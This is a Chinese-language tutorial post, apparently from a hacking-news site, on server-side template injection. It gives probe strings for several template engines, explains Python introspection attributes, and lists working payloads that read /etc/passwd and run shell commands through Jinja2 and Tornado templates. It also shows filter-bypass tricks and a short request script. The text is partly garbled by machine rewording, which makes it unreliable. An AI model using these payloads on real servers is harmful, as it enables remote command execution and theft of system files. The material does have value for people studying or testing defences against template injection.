模板网站怎么注入攻击和注入攻击的方法

模板网站怎么注入攻击和注入攻击的方法

黑客教程hacker2019-07-14 1:28:2511855A+A-

模版引入介绍

模板引擎用以使用动态数据展现内容。此语义数据通常由用户控制并由模版进行备份,以转化成网页页面、电子邮箱等。模板引擎通过使用编码结构(如条件语句、循环等)处理语义数据,容许在模版中使用强大的语言关系式,以展现动态内容。如果网络攻击能够控制要展现的模版,则他们将能够引入可曝露语义数据,甚至在网络服务器上运作随意指令的关系式。

1、测试标准

确定使用的模块

查看模块相关的文本文档,确定其安全体制以及内置的涵数和自变量

寻找攻击面,试着进攻

2、测试用例

简单的数学课关系式,{{ 7+7 }} => 14

字符串关系式 {{ "ajin" }} => ajin

Ruby

<%= 7 * 7 %>

<%= File.open('/etc/passwd').read %>

javas

${7*7}

Twig

{{7*7}}

Smarty

{Python}echo `Id`;{/Python}

AngularJS

$eval('1+1')

Tornado

引证控制模块 {% import module %}

=> {% import Os %}{{ Os.popen("whoami").read() }}

Flask/Jinja2

{{ config.items() }}

{{''.__class__.__mro__[-1].__subclasses__()}}

Django

{{ request }}

{% debug %}

{% load module %}

{% include "x.html语言" %}

{% extends "x.html语言" %}

3、进攻目标

创建对象

文件读写能力

远程控制文件包括

信息泄露

提权

4、相关属性

 __class__

python中的新型类(即显示承继object对象的类)都有一个属性 __class__ 用以获得当前案例对应的类,比如 "".__class__ 就可以获得到字符串案例对应的类

 __mro__

python中类对象的 __mro__ 属性会回到一个tuple对象,其中包括了当前类对象所有承继的基类,tuple中元素的次序是MRO(Method Resolution Order) 找寻的次序。

 __globals__

储存了涵数所有的所有全局变量,在利用中,可以使用 __init__ 获得对象的涵数,并通过 __globals__ 获得 file Os 等控制模块以进行下一阶段的利用

__subclasses__()

python的新型类都保存了它所有的子类的引证,__subclasses__() 这个方法回到了类的所有生存的子类的引证(是类对象引证,不是案例)。

因为python中的类都是承继object的,所以只要启用object类对象的 __subclasses__() 方法就可以获得想要的类的对象。

5、常见Payload

().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read()

().__class__.__bases__[0].__subclasses__()[57].__init__.func_globals.values()[13]['eval']('__import__("Os").popen("ls /").read()' )

6、绕开方法

字符串拼接

request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]

使用主要参数绕开

params={'clas':'__class__','mr':'__mro__','subc':'__subclasses__'}data={"data":"{{''[request.args.clas][request.args.mr][1][request.args.subc]()}}"}r=requests.post(网页地址,params=params,data=data)print(r.text)


点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
  • 5条评论
  • 双笙忿咬2022-05-28 00:09:37
  • r) 找寻的次序。 __globals__储存了涵数所有的所有全局变量,在利用中,可以使用 __init__ 获得对象的涵数,并通过 __globals__ 获得 file Os 等控制模块以进行下一阶段的利用_
  • 笙沉溇涏2022-05-28 02:29:05
  • 使用强大的语言关系式,以展现动态内容。如果网络攻击能够控制要展现的模版,则他们将能够引入可曝露语义数据,甚至在网络服务器上运作随意指令的关系式。1、测试标准确定使用的模块查看模块相关的文本文
  • 馥妴辞忧2022-05-28 06:15:56
  • 所有的子类的引证,__subclasses__() 这个方法回到了类的所有生存的子类的引证(是类对象引证,不是案例)。因为python中的类都是承继object的,所以只要启用object类
  • 柔侣桃靥2022-05-28 04:14:41
  • 模版引入介绍模板引擎用以使用动态数据展现内容。此语义数据通常由用户控制并由模版进行备份,以转化成网页页面、电子邮箱等。模板引擎通过使用编码结构(如条件语句、循环等)处理语义数据,容许在模版中使用强大的
  • 掩吻一镜2022-05-28 02:08:21
  • t(网页地址,params=params,data=data)print(r.text)

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理